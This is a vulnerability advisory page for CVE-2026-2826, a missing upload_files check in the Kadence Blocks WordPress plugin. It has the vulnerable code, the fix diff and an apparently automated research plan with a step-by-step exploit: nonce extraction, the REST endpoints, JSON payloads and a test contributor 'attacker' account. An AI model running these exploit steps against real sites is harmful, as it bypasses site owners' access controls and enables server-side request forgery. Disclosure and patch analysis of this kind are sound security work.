Kadence Blocks — Page Builder Toolkit for Gutenberg Editor <= 3.6.3 - Missing Authorization to Authenticated (Contributor+) Media Upload
Description
The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.6.3. This is due to the plugin not properly verifying that a user has the `upload_files` capability in the `process_pattern` REST API endpoint. This makes it possible for authenticated attackers, with contributor level access and above, to upload images to the WordPress Media Library by supplying remote image URLs that the server downloads and creates as media attachments.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.6.3What Changed in the Fix
Changes introduced in v3.6.4
Source Code
WordPress.org SVN# Research Plan: CVE-2026-2826 Kadence Blocks Authorization Bypass ## 1. Vulnerability Summary The **Kadence Blocks — Page Builder Toolkit for Gutenberg Editor** plugin (versions <= 3.6.3) contains an authorization bypass vulnerability in its REST API implementation. The endpoint `kb-image-picker/v…
Show full research plan
Research Plan: CVE-2026-2826 Kadence Blocks Authorization Bypass
1. Vulnerability Summary
The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin (versions <= 3.6.3) contains an authorization bypass vulnerability in its REST API implementation. The endpoint kb-image-picker/v1/process_images uses a permission_callback that only checks for the edit_posts capability.
In WordPress, the edit_posts capability is granted to Contributors and above. However, the functionality provided by this endpoint—downloading remote images and creating Media Library attachments—should strictly require the upload_files capability (typically reserved for Authors, Editors, and Administrators). This allows a Contributor-level attacker to perform Server-Side Request Forgery (SSRF) and fill the server's Media Library with arbitrary remote content.
2. Attack Vector Analysis
- Endpoint:
/wp-json/kb-image-picker/v1/process_images - HTTP Method:
POST(WP_REST_Server::CREATABLE) - Vulnerable Function:
Kadence_Blocks_Image_Picker_REST_Controller::process_images - Authentication: Contributor level (
edit_postscapability required) - Parameters:
image_type: (string) Type of image (e.g., "pexels").image_sizes: (array) An array containing objects with remote URLs to be processed.
3. Code Flow
- Route Registration: In
includes/class-kadence-blocks-image-picker-rest.php, theregister_routes()function registers thekb-image-picker/v1/process_imagesendpoint. - Permission Check: The
permission_callbackis set toget_items_permission_check.
This allows any user who can edit posts (Contributors) to access the endpoint.public function get_items_permission_check( $request ) { return current_user_can( 'edit_posts' ); } - Data Processing: The
process_imagesmethod is triggered:public function process_images( $request ) { $parameters = (array) $request->get_json_params(); return kadence_blocks()->get( Image_Downloader::class )->download( $parameters ); } - Sink: The parameters are passed to the
Image_Downloader::download()method. This method iterates through the provided URLs, fetches the remote images usingwp_remote_get(), and uses WordPress's sideloading functions (likemedia_handle_sideload) to create local attachments.
4. Nonce Acquisition Strategy
The REST API requires a standard WordPress REST nonce for authenticated sessions. This nonce is bound to the wp_rest action.
- User Role: Log in as a Contributor.
- Location: The REST nonce is globally available in the WordPress admin dashboard for logged-in users.
- Extraction:
- Navigate to
/wp-admin/index.php. - Use
browser_evalto extract the nonce from thewpApiSettingsobject which WordPress enqueues by default:window.wpApiSettings.nonce
- Navigate to
5. Exploitation Strategy
Step 1: Authentication
Login to the target WordPress instance as a user with the Contributor role.
Step 2: Nonce Extraction
Use the browser to extract the wp_rest nonce.
Step 3: Malicious Request
Send a POST request to the vulnerable endpoint using the http_request tool.
- URL:
http://<target-ip>/wp-json/kb-image-picker/v1/process_images - Headers:
Content-Type: application/jsonX-WP-Nonce: <extracted-nonce>
- Payload (JSON):
Note: The{ "image_type": "pexels", "image_sizes": [ { "url": "https://raw.githubusercontent.com/wp-plugins/kadence-blocks/master/screenshot-1.png" } ] }image_sizesstructure is derived from thesanitize_image_sizes_arraycallback used in the controller.
6. Test Data Setup
- Plugin Installation: Install and activate
kadence-blocksversion 3.6.3. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
7. Expected Results
- The server will return a
200 OKor201 Createdstatus code. - The response body will contain information about the newly created attachment (ID and URL).
- Example response:
[ { "id": 123, "url": "http://<target-ip>/wp-content/uploads/YYYY/MM/screenshot-1.png" } ]
8. Verification Steps
- Database Check: Verify the creation of a new attachment.
wp post list --post_type=attachment --posts_per_page=1 --orderby=post_date --order=DESC - Audit Capability: Confirm the user
attackerdoes not have theupload_filescapability.
(Expected: empty result)wp user cap list attacker | grep upload_files
9. Alternative Approaches
If the image_sizes payload structure fails:
- Direct Array: Try sending an array of objects directly if the REST controller expects the root to be the downloader payload:
[ { "url": "https://raw.githubusercontent.com/wp-plugins/kadence-blocks/master/screenshot-1.png" } ] - Check Pattern Endpoint: The CVE description mentions
process_pattern. Although the provided source focuses onprocess_images, check forkb-design-library/v1/process_pattern(found inclass-kadence-blocks-prebuilt-library-rest-api.php) which uses a similar structure.- Route:
/wp-json/kb-design-library/v1/process_pattern - Permission Check:
current_user_can( 'edit_posts' )(vulnerable). - Payload usually involves a
pattern_idandremote_url.
- Route:
Summary
The Kadence Blocks plugin fails to verify the 'upload_files' capability in several REST API endpoints used for processing images and patterns. This allows authenticated users with Contributor-level permissions or higher to download remote images onto the server and create Media Library attachments, a privilege normally reserved for Authors and above.
Vulnerable Code
// includes/class-kadence-blocks-image-picker-rest.php line 63 public function get_items_permission_check( $request ) { return current_user_can( 'edit_posts' ); } /** * Imports a collection of images. * * @param WP_REST_Request $request Full details about the request. * * @return array<array{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id. * @throws InvalidArgumentException * @throws Throwable * @throws ImageDownloadException */ public function process_images( $request ) { $parameters = (array) $request->get_json_params(); return kadence_blocks()->get( Image_Downloader::class )->download( $parameters ); } --- // includes/class-kadence-blocks-prebuilt-library-rest-api.php line 1215 /** * Processes a pattern and its images. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function process_pattern( WP_REST_Request $request ) { $parameters = $request->get_json_params(); if ( empty( $parameters['content'] ) ) { return rest_ensure_response( 'failed' ); } $content = $parameters['content']; $image_library = ( isset( $parameters['image_library'] ) ? $parameters['image_library'] : array() ); return rest_ensure_response( $this->cache_primer->init( $content, $image_library ) ); }
Security Fix
@@ -68,12 +68,21 @@ * * @param WP_REST_Request $request Full details about the request. * - * @return array<array{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id. + * @return array<array{id: int, url: string}>|\WP_Error A list of local or pexels images, or WP_Error on permission failure. * @throws InvalidArgumentException * @throws Throwable * @throws ImageDownloadException */ public function process_images( $request ) { + // Require upload capability; this endpoint downloads images and adds them to the media library. + if ( ! current_user_can( 'upload_files' ) ) { + return new WP_Error( + 'rest_forbidden', + __( 'You do not have permission to upload files.', 'kadence-blocks' ), + array( 'status' => 403 ) + ); + } + $parameters = (array) $request->get_json_params(); return kadence_blocks()->get( Image_Downloader::class )->download( $parameters ); @@ -830,12 +830,21 @@ * * @param WP_REST_Request $request Full details about the request. * - * @return array<array{id: int, url: string}> A list of local or pexels images, where the ID is an attachment_id or pexels_id. + * @return array<array{id: int, url: string}>|\WP_Error A list of local or pexels images, or WP_Error on permission failure. * @throws InvalidArgumentException * @throws Throwable * @throws ImageDownloadException */ - public function process_images( WP_REST_Request $request ): array { + public function process_images( WP_REST_Request $request ) { + // Require upload capability; this endpoint downloads images and adds them to the media library. + if ( ! current_user_can( 'upload_files' ) ) { + return new WP_Error( + 'rest_forbidden', + __( 'You do not have permission to upload files.', 'kadence-blocks' ), + array( 'status' => 403 ) + ); + } + $parameters = (array) $request->get_json_params(); return kadence_blocks()->get( Image_Downloader::class )->download( $parameters ); @@ -1212,6 +1221,15 @@ * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function process_pattern( WP_REST_Request $request ) { + // Require upload capability; pattern processing downloads images and adds them to the media library. + if ( ! current_user_can( 'upload_files' ) ) { + return new WP_Error( + 'rest_forbidden', + __( 'You do not have permission to upload files.', 'kadence-blocks' ), + array( 'status' => 403 ) + ); + } + $parameters = $request->get_json_params(); if ( empty( $parameters['content'] ) ) { return rest_ensure_response( 'failed' );
Exploit Outline
The exploit targets the `/wp-json/kb-image-picker/v1/process_images` or `/wp-json/kb-design-library/v1/process_pattern` REST API endpoints. An attacker with Contributor-level credentials logs into the WordPress site and retrieves a valid REST API nonce (found in the source of any admin page). They then send a POST request to one of the vulnerable endpoints with a JSON payload containing remote URLs in the 'image_sizes' or 'content' fields. Because the permission callback only requires 'edit_posts' rather than 'upload_files', the server processes the request, downloads the remote images via the server, and creates new attachment posts in the Media Library, effectively bypassing role-based restrictions on file uploads.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.